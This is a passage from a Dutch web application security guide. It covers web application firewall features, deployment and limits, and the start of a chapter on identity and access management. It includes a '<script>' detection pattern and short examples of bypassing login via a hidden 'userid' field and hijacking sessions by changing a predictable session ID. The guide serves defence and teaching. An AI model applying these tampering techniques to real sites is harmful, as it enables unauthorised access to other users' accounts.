Vanuit beveiligingsoogpunt is het aan te raden om altijd uit te gaan van een positief beveiligingsmodel. Dit vergt echter diepgaande kennis van de webapplicaties die de WAF beveiligt en een goede doorlopende samenwerking tussen de beheerder(s) van de WAF en de ontwikkelaar(s) van de website. Elke wijziging op de webapplicatie heeft

Titel

Datum


4-11-2010

Pagina

115

mogelijk impact op de regels van de WAF. Is deze kennis en samenwerking tussen beheerders en ontwikkelaars er niet, dan zal de WAF mogelijk een groot aantal verzoeken aan de webapplicatie ten onrechte blokkeren. Bij een negatief beveiligingsmodel bestaan deze problemen niet. Een nadeel is echter dat de WAF in dit geval alleen bekende patronen herkent en op basis hiervan verzoeken blokkeert. De kans dat de WAF in dit geval een aanval niet blokkeert, is daarom vrij hoog. De WAF geeft hierdoor slechts een beperkte mate van extra beveiliging.

7.3. Functionaliteiten Welke functionaliteiten een specifieke WAF biedt, is sterk afhankelijk van het product dat men kiest. Er is buiten de functionaliteiten op hoog niveau uit de inleiding van dit hoofdstuk, geen generieke set aan functionaliteiten te beschrijven die elke WAF ondersteunt. Deze paragraaf geeft daarom een overzicht van de functionaliteiten die mogelijk aanwezig zijn in een WAF. Dit overzicht is zeker niet uitputtend maar het hoopt een goed beeld te geven van de mogelijkheden van een WAF.

7.3.1. Invoervalidatie Eén van de belangrijkste functionaliteiten van een WAF is invoervalidatie. De WAF kan de verschillende onderdelen van een HTTP-verzoek valideren op basis van opgestelde regels. Een voorbeeld van onderdelen die een WAF kan controleren is hieronder opgenomen: • • • • • • • • • • • •

Aantal cookies Aantal headers Aantal parameters HTTP-methode Lengte van cookiewaarden Lengte van de URI Lengte van de querystring Lengte van headerwaarden Lengte van headers Lengte van parameterwaarden Lengte van parameters Grootte van de body

Belangrijk te onderzoeken is welke typen HTTP-bodies de WAF kan controleren. Standaard ondersteunt een WAF over het algemeen validatie van HTML. De vraag is of de WAF ook in staat is om de inhoud van XML-berichten te controleren. Het kan

Titel

Datum


4-11-2010

Pagina

116

bijvoorbeeld wenselijk zijn om de inhoud van een XML-bericht te valideren op basis van een Web Service Description Language (WSDL) bestand. Bovenstaande aanpak van invoervalidatie is van toepassing bij het gebruik van een positief beveiligingsbeleid. Kiest men voor een negatief beveiligingsbeleid dan kan de WAF een controle uitvoeren van alle invoer tegen een lijst van bekende aanvalspatronen. Dit betekent bijvoorbeeld dat de WAF alle parameters van een verzoek kan controleren op de aanwezigheid van ‘<script>’-tags met als doel XSSaanvallen te voorkomen.

7.3.2. Protocolvalidatie Een vorm van invoervalidatie die veel WAF’s uitvoeren, is protocolvalidatie. Hierbij controleert de WAF of het verzoek van een client voldoet aan de standaarden die op het protocol van toepassing zijn. Zo kan een WAF alle HTTP-verzoeken controleren aan de hand van RFC 2068 en RFC 2616.

7.3.3. Uitvoervalidatie Naast invoervalidatie kan een WAF ook uitvoervalidatie toepassen. De WAF controleert hierbij of de webserver mogelijk gevoelige informatie terugstuurt naar de client. Voorbeelden van gevoelige informatie zijn foutmeldingen van de webserver (zie ook §5.2.4.1) en commentaarregels in scripts (zie ook §5.2.4.3). Acties die een WAF in het kader van uitvoervalidatie kan ondernemen zijn: •

•

• •

Wijzigen van HTTP-response headers. Zo zal een WAF een specifieke HTTPheader als ‘Server: Microsoft-IIS/6.0’ bijvoorbeeld kunnen vervangen door ‘Server: Webserver’. Verwijderen van HTTP-response headers. Denk hierbij bijvoorbeeld aan ‘XPowered-By’ headers die informatie verschaffen over de techniek die de webserver gebruikt. Verwijderen van commentaarregels uit scripts (bv. JavaScript en VBScript) Genereren van generieke foutpagina’s bij problemen op de webserver (bv. ‘500 Internal Server Error’ meldingen).

7.3.4. Caching Net als bij een reguliere proxy kan een reverse proxy WAF caching uitvoeren. In veel gevallen zal de WAF in staat zijn om direct antwoord te geven op verzoeken van clients zonder daarbij de webserver te raadplegen. Dit kan leiden tot een betere performance en een lagere belasting van de webserver.

Titel

Datum


4-11-2010

Pagina

117

7.3.5. SSL-eindpunt Zoals beschreven, zal een reverse proxy WAF fungeren als SSL-eindpunt voor websites. De WAF kan het gebruik van bepaalde encryptieprotocollen afdwingen, waardoor een cryptografisch zwakke verbinding tussen de client en de WAF niet meer mogelijk is. Als een webapplicatie gebruik maakt van clientcertificaten, moet de WAF dit certificaat of de gegevens daaruit door kunnen sturen. Dit vereist vaak wel een aanpassing aan de webapplicatie aangezien de WAF de gegevens op een alternatieve wijze zal aanbieden. Zo kan de WAF de volledige inhoud van het certificaat aanbieden via een aparte HTTP-header of de certificaatauthenticatie omzetten in basic authentication naar de webapplicatie. In het laatste geval gebruikt de WAF vaak de Distinguished Name (DN) of het serienummer (SN) van het certificaat als gebruikersnaam in combinatie met een standaard wachtwoord. Als aanvullende service kan een WAF in veel gevallen de geldigheid van het certificaat controleren tegen een Certificate Revocation List (CRL) of Online Certificate Status Protocol (OCSP) dienst. De integratie tussen de WAF en de webapplicatie maakt onderdeel uit van de beveiligingsintegratielaag van het RBW. De WAF biedt vaak de keuze om een SSL-verbinding of een cleartext HTTP-verbinding op te zetten met de webserver. Aangezien de WAF niet beschikt over de privésleutel van het certificaat van de gebruiker, is het niet mogelijk om een SSL-verbinding op te zetten op basis van dit certificaat van de gebruiker. Daarom zal een SSL-verbinding tussen de WAF en de webserver vooral bedoeld zijn om het verkeer tussen deze componenten te versleutelen en niet om de client te authenticeren. Vaak wordt voor een cleartext HTTP-verbinding gekozen, als beide componenten zich bevinden in een afgeschermde omgeving. Een voordeel hiervan is dat de webserver niet onnodig wordt belast met het versleutelen en ontsleutelen van SSL-verkeer en dat een Intrusion Detection System (IDS) in staat is om de inhoud van het verkeer te bekijken.

7.3.6. Normalisatie Een WAF past in de regel normalisatie op een verzoek toe om te voorkomen dat regels en controles worden omzeild. Daarom staat normalisatie ook wel bekend als antievasion of canonicalization. Normalisatie vindt plaats voordat de WAF invoervalidatie uitvoert. Voorbeelden van taken die een WAF uitvoert tijdens normalisatie: • • • • • •

Omzetten van NULL karakters naar spaties. Coderen van bijzondere karakters in een uniforme codering (bv. UTF-8). Normaliseren van padverwijzingen als ‘/./’ en ‘/../’. Verwijderen van overbodige spaties en regeleinden. Omzetten van backslashes naar forward slashes. Omzetten van mixed case strings naar lower case strings.

Titel

Datum


4-11-2010

Pagina

118

7.3.7. Cookiebeveiliging Om te voorkomen dat een aanvaller misbruik maakt van het sessiemechanisme van een webapplicatie, kan een WAF diverse beveiligingsmaatregelen toepassen. Een voorbeeld hiervan is beveiliging van cookies. Er bestaan verschillende manieren om de inhoud van cookies te beveiligen. Zo kan een WAF de inhoud van een cookie automatisch voorzien van een digitale handtekening. Zodra een client een cookie aanbiedt, controleert de WAF of de digitale handtekening in het cookie valide is. Als dit niet het geval is, is de inhoud van het cookie gewijzigd en zal de WAF dit cookie niet accepteren. Naast het plaatsen van een digitale handtekening op een cookie kan een WAF de inhoud van het cookie ook versleutelen zodat de client geen inzicht krijgt in de daadwerkelijke inhoud van het cookie. Dit alles gebeurt transparant voor de achterliggende webserver: deze krijgt alleen een onversleuteld cookie te zien zonder digitale handtekening. Een ander mechanisme dat een WAF kan toepassen voor het beveiligen van een cookie is het registreren van een IP-adres bij een cookie. Als een client een cookie aanbiedt, kan de WAF controleren of het systeem dat het cookie aanbiedt ook het systeem is dat het cookie eerder heeft ontvangen. Daarmee voorkomt de WAF dat een kwaadwillende een cookie onderschept en dit misbruikt vanaf een ander systeem. Figuur 7-3 toont het cookieproces dat de WAF hiertoe kan uitvoeren.

Figuur 7-3: registratie van cookies

Titel

Datum


4-11-2010

Pagina

119

In figuur 7-3 start het proces met het uitgeven van een cookie door de webserver met een ‘Set-Cookie’ HTTP-header (1). De WAF registreert de uitgifte van dit cookie in een eigen database (2). Naast de inhoud van het cookie registreert de WAF ook het IPadres waarnaar deze het cookie zal versturen en de webapplicatie die het cookie heeft uitgegeven. De WAF stuurt het cookie door aan de client (3) waarna de client het cookie zal opslaan. Vervolgens tracht een kwaadwillende hetzelfde (of een zelf gegenereerd) cookie te gebruiken om ook toegang tot de webapplicatie te krijgen (4). De kwaadwillende heeft bijvoorbeeld opgemerkt dat het sessie-ID voorspelbaar is en probeert daarom, via een ‘gespoofed’ sessie-ID in een cookie, een sessie met de webserver op te bouwen. De WAF controleert vervolgens het IP-adres van de kwaadwillende en de inhoud van het aangeboden cookie in de database met uitgegeven cookies (5). De WAF zal vervolgens vaststellen dat het betreffende cookie nooit is uitgegeven of niet is uitgegeven aan de betreffende client. De WAF zal het verzoek daarom blokkeren en niet doorsturen naar de webserver waardoor misbruik van het cookiemechanisme is voorkomen. Een laatste beveiligingsmechanisme voor cookies is cookie virtualization. Hierbij stuurt de WAF niet het cookie van de webserver door aan de client maar een nieuw (door de WAF) gegenereerd cookie. Daarbij creëert de WAF een relatie tussen het nieuw gegenereerde cookie en het cookie van de webserver. Een client krijgt dus nooit de inhoud van het cookie van de webserver te zien. Elke keer als de client zijn cookie aanbiedt, vertaalt de WAF deze naar het cookie van de server en vervangt de WAF het cookie in het verzoek van de client.

7.3.8. Beveiliging van verborgen velden Zoals een WAF cookies kan beveiligen, kan de WAF ook de beveiliging van verborgen velden (hidden fields) verzorgen. Verborgen velden vormen in veel gevallen een beveiligingsprobleem, zoals geïllustreerd in de JustEat case uit hoofdstuk 2 (zie §2.6.3). Net als bij cookies kan de WAF de inhoud van verborgen velden voorzien van een digitale handtekening, versleutelen en/of virtualiseren.

7.3.9. URL versleuteling Het laatste onderdeel dat je via een WAF automatisch kunt versleutelen en ontsleutelen zijn URL’s. Via URL-versleuteling zorg je ervoor dat bepaalde onderdelen van de URL, specifiek queryparameters, door de WAF versleuteld worden waardoor de client deze niet kan aanpassen.

Titel

Datum


4-11-2010

Pagina

120

7.3.10. Virtual patching Veel WAF-implementaties bieden de mogelijkheid om bij het bekend worden van een kwetsbaarheid direct een regel in de policy aan te maken die uitbuiting van deze kwetsbaarheid onmogelijk maakt. Leveranciers noemen deze functionaliteit vaak virtual patching. Het houdt in dat de WAF op basis van een negatief beveiligingsmodel een regel implementeert die uitbuiting van de kwetsbaarheid herkent en blokkeert. Hiermee verschaft de organisatie zich tijd om de kwetsbaarheid in de webapplicatie zelf te verhelpen. Het kan bijvoorbeeld ook een nuttige toevoeging zijn op het moment dat de WAF een standaard webapplicatie beschermt, waarin zich een kwetsbaarheid bevindt waar nog geen patch voor beschikbaar is.

7.3.11. Samenwerking met een WAS Een functionaliteit die in het kader van virtual patching steeds meer aandacht krijgt 28 is de mogelijke samenwerking tussen een kwetsbaarhedenscanner (WAS) en de WAF. Het idee is dat de kwetsbaarheden die uit een scan naar voren komen automatisch geblokkeerd kunnen worden door een WAF wanneer er een samenwerking tussen deze twee producten tot stand is gekomen. Om deze functionaliteit op brede schaal uit te kunnen rollen is het nodig dat verschillende leveranciers een protocol overeenkomen voor het uitwisselen van kwetsbaarhedeninformatie. Helaas is een dergelijk protocol op dit moment nog niet voorhanden. Integratie is daarom in de regel alleen mogelijk wanneer zowel de scanner als de WAF van dezelfde leverancier afkomstig zijn.

7.3.12. Authenticatie Om clients te kunnen identificeren, ondersteunt een WAF zoals al eerder beschreven, vaak authenticatie op basis van SSL-clientcertificaten. Naast deze vorm van authenticatie ondersteunen veel WAF-oplossingen ook andere authenticatiemechanismen. Standaard ondersteunt een WAF vaak basic authentication waarbij authenticatie plaatsvindt via een standaard gebruikersnaam/wachtwoord popupscherm in de browser. Daarbij is het vaak mogelijk om de door de gebruiker aangeleverde authenticatiegegevens te controleren in een LDAP-database, RADIUSsysteem of lokale gebruikersdatabase.

7.3.13. Logging Een laatste noemenswaardige functionaliteit van elke WAF is uitgebreide logging. Zo kan een WAF elk verzoek dat het systeem verwerkt loggen en informatie geven over

28

Zie bijvoorbeeld http://blogs.gartner.com/neil_macdonald/2009/08/19/security-no-brainer-9-applicationvulnerability-scanners-should-communicate-with-application-firewalls/

Titel

Datum


4-11-2010

Pagina

121

alle aanvallen die het systeem heeft geblokkeerd. Op basis van deze logging kan de WAF vaak statistieken genereren. Daarnaast bieden sommige WAF’s de mogelijkheid om logbestanden te versleutelen en te voorzien van een digitale handtekening.

7.4. Een WAF in de infrastructuur Een WAF kun je op verschillende manieren inpassen in de DMZ-infrastructuur. Zoals eerder beschreven kan een WAF fungeren als een reverse proxy. In deze configuratie handelt de WAF alle verbindingen vanaf een client naar een webapplicatie af en zet de reverse proxy zélf een verbinding op met de achterliggende webapplicatie. Figuur 7-4 geeft een overzicht van mogelijke manieren waarop je de WAF in de DMZ van hoofdstuk 3 kunt plaatsen.

Figuur 7-4: plaatsing van de WAF

Bij de oplossingen (a), (b) en (c) uit figuur 7-4 is de WAF een losstaand netwerkcomponent in de DMZ-infrastructuur. De situatie waarbij de WAF fungeert als een plug-in of module in de webserver (embedded WAF) is weergegeven in optie (d) in figuur 7-4.

Titel

Datum


4-11-2010

Pagina

122

7.5. Voorbeelden van WAF oplossingen Er zijn steeds meer WAF-oplossingen beschikbaar. Onderstaand volgt – in alfabetische volgorde - een overzicht van enkele producten die veel van de functionaliteiten uit dit hoofdstuk bieden. Er is bij het overzicht onderscheid gemaakt tussen WAF-oplossingen die zich voornamelijk richten op het controleren van HTTP/HTML-verkeer en WAF-oplossingen die zich voornamelijk richten op HTTP/XMLverkeer (van belang voor webservices). HTML • AppliCure dotDefender • Armor Logic Profense • Armorize SmartWAF • Art of Defence HyperGuard (gebaseerd op Microsoft ISA) • Barracuda Web Application Firewall • BinarySEC • Breach WebDefend • BugSec WebSniper • CheckPoint Application Intelligence (beperkte functionaliteiten) • Citrix NetScaler Application Firewall (voorheen Teros) • Deny All rWeb • eEye SecureIIS • ESAPI • F5 BIG-IP Application Security Manager (ASM) (voorheen TrafficShield) • Foundeo WAF for ColdFusion • Fortinet FortiWeb-1000B • Fujitsu IPCOM EX • Genua GeNUScreen • [email protected] • Imperva SecureSphere • Microsoft Internet Security and Acceleration Server (ISA) • Kavado Defiance • Microsoft URLScan • ModSecurity • Netcontinuum Web Application Firewall • Port80 ServerDefender • PrivacyWare ThreatSentry • Protegrity Web Application Firewall • Radware AppWall • Sentryware HIVE • TUNIX/Webguard • Watchfire/Sanctum Appshield

Titel

Datum


4-11-2010

Pagina

123

XML • Cisco ACE XML Gateway • Datapower • Radware AppXML • Reactivity XML Security Gateway • Vordel VordelSecure • Xtradyne Web Services Domain Boundary Een speciaal soort WAF is een SSL-VPN appliance. Met een SSL-VPN maakt men interne applicaties via SSL beschikbaar. Op deze manier kunnen medewerkers van een organisatie bijvoorbeeld bestanden bekijken, e-mail raadplegen, verbinding maken met een Citrix-server en verbinding maken met een SSH-service, dit alles via een webinterface. SSL-VPN appliances lenen zich voornamelijk voor toepassing in thuiswerken en extranetten. Een SSL-VPN biedt ook mogelijkheden om het verkeer dat eindgebruiker en interne server met elkaar uitwisselen te controleren. Enkele voorbeelden van SSL-VPN appliances vindt u hieronder. SSL-VPN • AEP SureWare • Citrix Access Gateway • F5 FirePass • Juniper/Netscreen Secure Access • Netilla • Symantec Clientless VPN Gateway • Whale Intelligent Application Gateway ACHTERGROND Het Web Application Security Consortium (WebAppSec) biedt organisaties die de inzet van een WAF overwegen een (onafhankelijk) handvat via het document ‘Web Application Firewall Evaluation Criteria’. In dit document is een verzameling algemene criteria opgenomen die van belang zijn bij het selecteren van een WAF voor een organisatie. Het document kunt u downloaden vanaf http://www.webappsec.org/projects/wafec/

7.6. Aandachtspunten Bij de keuze voor een WAF adviseren we een organisatie om met een aantal belangrijke aandachtspunten rekening te houden. Deze paragraaf behandelt deze. De inzet van een WAF mag er nooit toe leiden dat andere beveiligingsmaatregelen niet doorgevoerd worden. Het feit dat een WAF bijvoorbeeld de uitbuiting van een kwetsbaarheid moeilijker maakt, mag geen reden zijn om de kwetsbaarheid niet in de webapplicatie zelf te verhelpen. Door de kwetsbaarheid te verhelpen neem je de

Titel

Datum


4-11-2010

Pagina

124

oorzaak weg, via een WAF is het alleen mogelijk om bekende aanvalsvectoren te blokkeren. Het doel van een WAF is voornamelijk om de kans op succesvolle aanvallen te verkleinen en de time-to-patch te vergroten. Het is een extra zekerheid bovenop de maatregelen die in ieder geval genomen moeten worden. In het verlengde hiervan ligt het gevaar dat een WAF een misplaatst gevoel van veiligheid kan geven. Maakt een WAF bijvoorbeeld alleen gebruik van een negatief beveiligingsmodel, dan zal het alleen de bekende aanvallen op een webapplicatie blokkeren. Er zijn inmiddels al manieren bekend waarop deze beveiligingsmaatregelen op een WAF kunnen worden omzeild 29. De effectiviteit van de WAF is daarom zeer afhankelijk van de configuratie ervan. Belangrijk is ook te beseffen dat een WAF niet in staat is om alle typen aanvallen te detecteren en blokkeren. Fouten in de applicatielogica van een webapplicatie kan een kwaadwillende bijvoorbeeld uitbuiten via (voor de WAF) legitieme verzoeken. Eenzelfde probleem doet zich voor in gevallen waarbij een reguliere gebruiker bepaalde beheerfunctionaliteiten kan aanroepen (privilege escalation). Aangezien de WAF meestal geen inzicht heeft in autorisaties, is deze niet in staat om ook dit soort aanvallen te voorkomen. Een ander belangrijk aandachtspunt bij de keuze voor een WAF is de stabiliteit en performance, zeker wanneer je kiest voor een reverse proxy oplossing. Beschermt één reverse proxy WAF een groot aantal verschillende websites, dan is deze WAF voor al deze websites een Single Point-of-Failure (SPOF). Het is dan ook aan te raden om te bekijken of het mogelijk is een vorm van clustering of fail-over toe te passen. Verder kan een WAF te maken krijgen met grote hoeveelheden verkeer, wat kan leiden tot performanceproblemen. Ook hier kan clustering en eventueel load balancing helpen om deze performanceproblemen te voorkomen. Breng dan ook vooraf de eisen op het gebied van stabiliteit en performance in kaart. Dit draagt bij aan een succesvolle implementatie van een WAF. ACHTERGROND Wanneer je een WAF inpast in een bestaande webomgeving, moet je eerst een baseline creëren van het verkeer dat de webomgeving afhandelt. Indicatoren die in dit kader van belang zijn, zijn het maximale aantal verbindingen per seconde, het maximale aantal gelijktijdige sessies, de maximaal benodigde throughput, het aantal transacties per seconde en het aantal te ondersteunen websites. Op basis van deze gegevens kun je performance-eisen stellen aan de te selecteren WAF(infrastructuur).

29

Zie bijvoorbeeld http://www.owasp.org/images/0/0a/Appseceu09-Web_Application_Firewalls.pdf

Titel

Datum


4-11-2010

Pagina

125

Invoering van een WAF zal hoe dan ook leiden tot een hogere beheerinspanning. Zeker wanneer een organisatie kiest voor een positief beveiligingsbeleid, zal een beheerafdeling of een project veel aandacht moeten besteden aan het tunen van de rulebase om problemen met betrekking tot de (on)bereikbaarheid van de webapplicatie te voorkomen. Een nieuwe release van een webapplicatie kan ook wijzigingen aan de rulebase van de WAF vereisen die eerst moeten worden uitgetest in een gescheiden omgeving. Verder moeten beheerders regelmatig de (uitgebreide) logging van de WAF bekijken, om op die manier problemen in een vroeg stadium te kunnen afvangen. De mogelijkheden die de WAF biedt op het gebied van management zijn vanuit beheer dus belangrijk (eenvoudige tuning, eenvoudige controles op logging, etcetera), maar lopen vaak uiteen. Zo bieden sommige WAF-oplossingen uitgebreide webinterfaces waarmee beheerders configuratiewijzigingen kunnen doorvoeren. Andere WAFoplossingen bieden alleen command-line toegang, waarbij beheerders configuratiewijzigingen moeten doorvoeren in XML-bestanden. Een laatste aandachtspunt is dat de WAF zelf ook kwetsbaar kan zijn. Zeker als de WAF fungeert als een centrale reverse proxy kunnen de gevolgen hiervan groot zijn. Belangrijk is dus om ook bij de inrichting van de WAF zelf, voldoende beveiligingsmaatregelen te treffen. Denk hierbij aan het hardenen van het besturingssysteem waarop de WAF actief is, het hardenen van de webserver waarbinnen de WAF draait en het regulier installeren van patches op het systeem.

Titel

Datum


4-11-2010

Pagina

126

8.

Identiteit- en toegangsbeheer Identiteitbeheer en toegangsbeheer zijn onlosmakelijk met elkaar verbonden. Toegangsbeheer is niet mogelijk zonder dat een correcte invulling is gegeven aan identiteitbeheer. Dit hoofdstuk behandelt daarom deze twee lagen uit het RBW gezamenlijk.

8.1. Inleiding Van Dale definieert een identiteit als ‘iets wat eigen is aan een persoon’. In meer technologische zin bestaat een identiteit uit een identifier, een authenticator en een profiel. Figuur 8-1 beschrijft deze onderdelen van een identiteit.

Figuur 8-1: opbouw van een identiteit

De identifier representeert de gebruiker of de applicatie. Hierbij kun je denken aan een gebruikersnaam of een persoonsnummer als identifier. De identifier is uniek binnen een bepaald domein: zo is een gebruikersnaam (identifier) uniek binnen een applicatie (domein) en is een Burgerservicenummer (BSN) (identifier) uniek binnen Nederland (domein). Daarnaast is de identifier over het algemeen niet onderhevig aan

Titel

Datum


4-11-2010

Pagina

127

een lifecycle. De gebruikersnaam van een medewerker voor een bepaalde applicatie wijzigt bijvoorbeeld vrijwel nooit en het BSN dat een inwoner van Nederland krijgt, verandert nooit meer. De authenticator gebruikt iemand om de identifier te ‘bewijzen’. Om bijvoorbeeld te bewijzen dat een gebruikersnaam een valide identifier is, moet een gebruiker ook zijn wachtwoord (authenticator) opgeven. Om te bewijzen dat het persoonsnummer inderdaad aan een bepaalde persoon toebehoort, moet deze persoon zijn paspoort (authenticator) tonen. Authenticatoren verschillen vaak in sterkte. Zo is een wachtwoord van drie letters een minder sterke authenticator dan een certificaat dat is opgeslagen op een smartcard. Daarnaast moet je de authenticator beveiligd opslaan. Een paspoort hoort normaal gesproken in de kluis, een wachtwoord in het hoofd (en soms ook in de kluis). Doordat een gebruiker zijn wachtwoord bijvoorbeeld kan opschrijven op een ‘geeltje’ is deze authenticator een stuk minder sterk. Tot slot is een authenticator onderhevig aan een lifecycle. Een wachtwoord moet je periodiek (bv. eens per maand) aanpassen, een paspoort elke 10 jaar.. OPMERKING Het uitgangspunt in dit hoofdstuk is dat bij de uitgave van identifiers en authenticatoren al is vastgesteld dat de persoon daadwerkelijk is wie hij zegt te zijn. Het profiel bevat tot slot bepaalde kenmerken (attributen en rollen) die toebehoren aan de identiteit. Hierbij moet je denken aan de rol die een medewerker vervult (bijvoorbeeld manager) of de datum waarop een medewerker in dienst is getreden. De gegevens uit het profiel slaan applicaties veelal in verschillende directories op (bijvoorbeeld in een personeelssysteem en op het intranet). Daarnaast kunnen de gegevens uit het profiel regelmatig wijzigen en is de informatie uit het profiel vaak privacygevoelig. De identifier en/of het profiel bepaalt vervolgens welke autorisaties een gebruiker krijgt binnen de webapplicatie. Er bestaan verschillende mechanismen om deze autorisatie op te baseren. Enkele van de meest bekende autorisatiemechanismen zijn: •

Role-based Access Control. Toegang tot (onderdelen van) de webapplicatie is afgeschermd door het toekennen van rollen aan gebruikers en het toekennen van rechten aan rollen.

•

Rule-based Access Control. Dit model beschrijft specifieke regels waaraan een gebruiker moet voldoen, voordat deze toegang krijgt op basis van gegevens uit zijn profiel. Bij rule-based access control verleent het mechanisme toegang op basis van de waarden van de attributen bij een gebruiker (bijvoorbeeld attribuut securityclearance = “yes”) . Daarom kan, afhankelijk van de implementatie, rule-based access control performancevoordelen geven boven control-

Titel

Datum


4-11-2010

Pagina

128

mechanismen waarbij de server bijvoorbeeld een grote groep moet nalopen op een mogelijk lidmaatschap van een bepaalde gebruiker. •

Mandatory Access Control (MAC). Dit model baseert de autorisaties op classificaties of labels aan een object, gecombineerd met het classificatieniveau of de labels van de gebruiker.

•

Discretionary Access Control (DAC). Toegang tot bestanden wordt bij DAC bepaald door de rechten die een gebruiker heeft toegewezen gekregen. De eigenaar van het bestand kan vervolgens zelf weer rechten uitdelen aan andere gebruikers.

OPMERKING Onder identiteitbeheer verstaat dit hoofdstuk alle activiteiten die nodig zijn in het kader van identiteiten. Het gaat hier dus om het toevoegen, verwijderen en wijzigen van identiteiten maar zeker ook het authenticeren van identiteiten op basis van hun authenticator. Toegangsbeheer betreft alle activiteiten die applicaties moeten uitvoeren om de autorisaties voor webapplicaties in te regelen en af te dwingen (runtime verifiëren van autorisaties op basis van een autorisatietabel).

8.2. Mogelijke kwetsbaarheden en bedreigingen Deze paragraaf gaat in op mogelijke kwetsbaarheden en bedreigingen die zich voor kunnen doen op het gebied van identiteiten toegangsbeheer.

8.2.1. Foutieve implementatie van authenticatie en sessiemanagement Zoals eerder in dit document al werd beschreven, kent HTTP standaard geen mechanisme om de status van een sessie te behouden. Wanneer een gebruiker zich heeft geauthenticeerd tot een webapplicatie, is het uiteraard wenselijk dat de webapplicatie onthoudt dat de gebruiker zich succesvol heeft geauthenticeerd. Anders zou de gebruiker zich bij elk volgend verzoek opnieuw moeten authenticeren en de historie van zijn acties binnen de webapplicatie verloren gaan. Om de sessie tussen een gebruiker en een webapplicatie te ‘fixeren’ staan de systeemontwikkelaar ruwweg de volgende mechanismen ter beschikking: •

Sessiefixatie op basis van argumenten in de URL. Hierbij zorgt de webapplicatie ervoor dat de client het sessie-ID als argument toevoegt aan elk verzoek richting de webapplicatie. Hierdoor ontstaat een URL als http://www.uuerel.nl/aanroep.asp?sessieid=123.

Titel

Datum


4-11-2010

Pagina

129

•

Sessiefixatie op basis van verborgen velden. Invoervelden in HTML kunnen zowel zichtbaar als onzichtbaar zijn. Webapplicaties maken vaak dankbaar gebruik van onzichtbare velden om informatie over de sessie in op te slaan. Elke keer wanneer de gebruiker informatie uit zichtbare velden verstuurt naar de webapplicatie, verstuurt deze ook de informatie uit de onzichtbare velden. Onzichtbaar is hierbij echter een relatief begrip. Onzichtbare velden maakt je op eenvoudige manier zichtbaar door de broncode van een HTML-pagina te bekijken of door via een sniffer de uitwisseling van gegevens tussen browser en webserver te bekijken. Kiest een ontwikkelaar ervoor om de velden van een formulier via een GET-actie te versturen naar de webapplicatie, dan geeft de webbrowser de ‘verborgen’ velden mee als argumenten in de URL. Kiest de ontwikkelaar ervoor om de inhoud van een formulier via een POST-actie te versturen naar de webapplicatie, dan geeft de webbrowser deze waarden door via de body van het bericht.

•

Sessiefixatie op basis van cookies. Dit is de meest populaire manier om sessiefixatie te bereiken. De server verstuurt hierbij een klein stukje informatie richting de webbrowser via een een ‘Set-Cookie’ HTTP-header. De webbrowser slaat deze informatie vervolgens op in het geheugen of in een bestand op de harde schijf. Als de gebruiker naar een website surft waarvoor het een cookie bezit, zal de webbrowser dit cookie automatisch aanbieden aan de webapplicatie. OPMERKING Er is een verschil tussen cookies die de webbrowser alleen in het geheugen opslaat en cookies die de browser in de vorm van een klein bestand op de computer opslaat. Het eerste type cookie (ook wel verwarrend ‘server-side’ cookie genaamd) verdwijnt zodra de gebruiker zijn webbrowser afsluit. Het tweede type cookie (ook wel ‘client-side’ of persistent cookie genaamd) blijft op de computer aanwezig en zal zelfs na een herstart van de computer nog aanwezig zijn. Vanuit het oogpunt van beveiliging hebben server-side cookies de voorkeur.

Ongeacht de toegepaste manier van sessiefixatie kunnen problemen ontstaan. Hieronder worden twee van deze problemen beschreven: •

Een kwaadwillende ontdekt dat een webapplicatie gebruik maakt van het verborgen veld genaamd ‘userid’. Bij het initieel benaderen van de webapplicatie is dit verborgen veld leeg. Nadat de kwaadwillende probeert in te loggen met een standaard gebruikersnaam en wachtwoord mislukt dit en het veld ‘userid’ blijft leeg. De kwaadwillende probeert vervolgens om het inlogscherm te omzeilen en een verzoek aan de webapplicatie te richten waarin hij het verborgen veld ‘userid’ de waarde ‘Blackhat’ geeft. Hierna krijgt hij de melding ‘Welkom Blackhat’ en kan hij gebruik maken van de webapplicatie zonder zich geauthenticeerd te hebben. De webapplicatie vertrouwt in dit geval volledig op de waarde van het verborgen veld

Titel

Datum


4-11-2010

Pagina

130

‘userid’. •

Een reguliere gebruiker logt in op de webapplicatie en ziet vervolgens dat in de URL continu de parameter ’sessieid=9001’ terug te vinden is. De gebruiker vraagt zich af of hij deze parameter kan misbruiken door een andere waarde op te geven voor de sessieid. Nadat hij de waarde van de parameter verandert in ’sessieid=9000’ is hij nog steeds geauthenticeerd en krijgt hij de gegevens te zien van een ander persoon die op dat moment ook is ingelogd. De webapplicatie blijkt gebruik te maken van oplopende sessie-ID’s die zeer eenvoudig te voorspellen zijn.

Authenticatie- en sessiemanagement zijn zeer lastige onderdelen van een webapplicatie. Niet alleen het fixeren van een sessie is lastig. Ook het uiteindelijk beëindigen van een sessie kan problemen met zich meebrengen. De volgende vraag doet zich in dit kader voor: hoe zorgen we ervoor dat de webapplicatie een sessie uiteindelijk ook weer afsluit? Sessies kunnen immers niet oneindig lang blijven bestaan. De aanwezigheid van een sessie zorgt aan de ene kant voor onnodig resourcegebruik op de server (de server moet alle sessies bijhouden en hiervoor geheugen reserveren) en daarnaast voor een beveiligingslek. Hoe meer sessies een webserver op enig moment open heeft staan, hoe groter de kans dat een kwaadwillende erin slaagt één van deze sessies te kraken. En ook: hoe langer een sessie actief blijft, hoe langer eventueel onderschepte sessiegegevens bruikbaar blijven voor een kwaadwillende (denk bijvoorbeeld aan misbruik van een cookie in een internetcafé).

8.2.2. Foutieve implementatie van toegangsbeheer Vergelijkbare problemen als bij authenticatie en sessiemanagement (zie vorige paragraaf) kunnen zich ook voordoen bij toegangsbeheer. Toegangsbeheer volgt op authenticatie en houdt in dat de webapplicatie controleert of een gebruiker gerechtigd is om bepaalde acties uit te voeren. Denk hierbij aan het mogen uitvoeren van een bepaalde transactie of het mogen bekijken van een specifieke webpagina. Het volgende voorbeeld illustreert een mogelijk probleem dat zich kan voordoen bij toegangsbeheer: Een webapplicatie bevat de pagina ‘ /protected/insidernews.aspx’ waar alleen geregistreerde gebruikers toegang toe hebben. Binnen de applicatie is vastgelegd dat voor alle verzoeken naar ‘/protected/*’ een speciale autorisatievlag nodig is. De volgende voorbeelden illustreren implementatiefouten die ertoe kunnen leiden dat de webapplicatie deze autorisaties niet goed afhandelt:

Titel

Datum


4-11-2010

Pagina

131

•

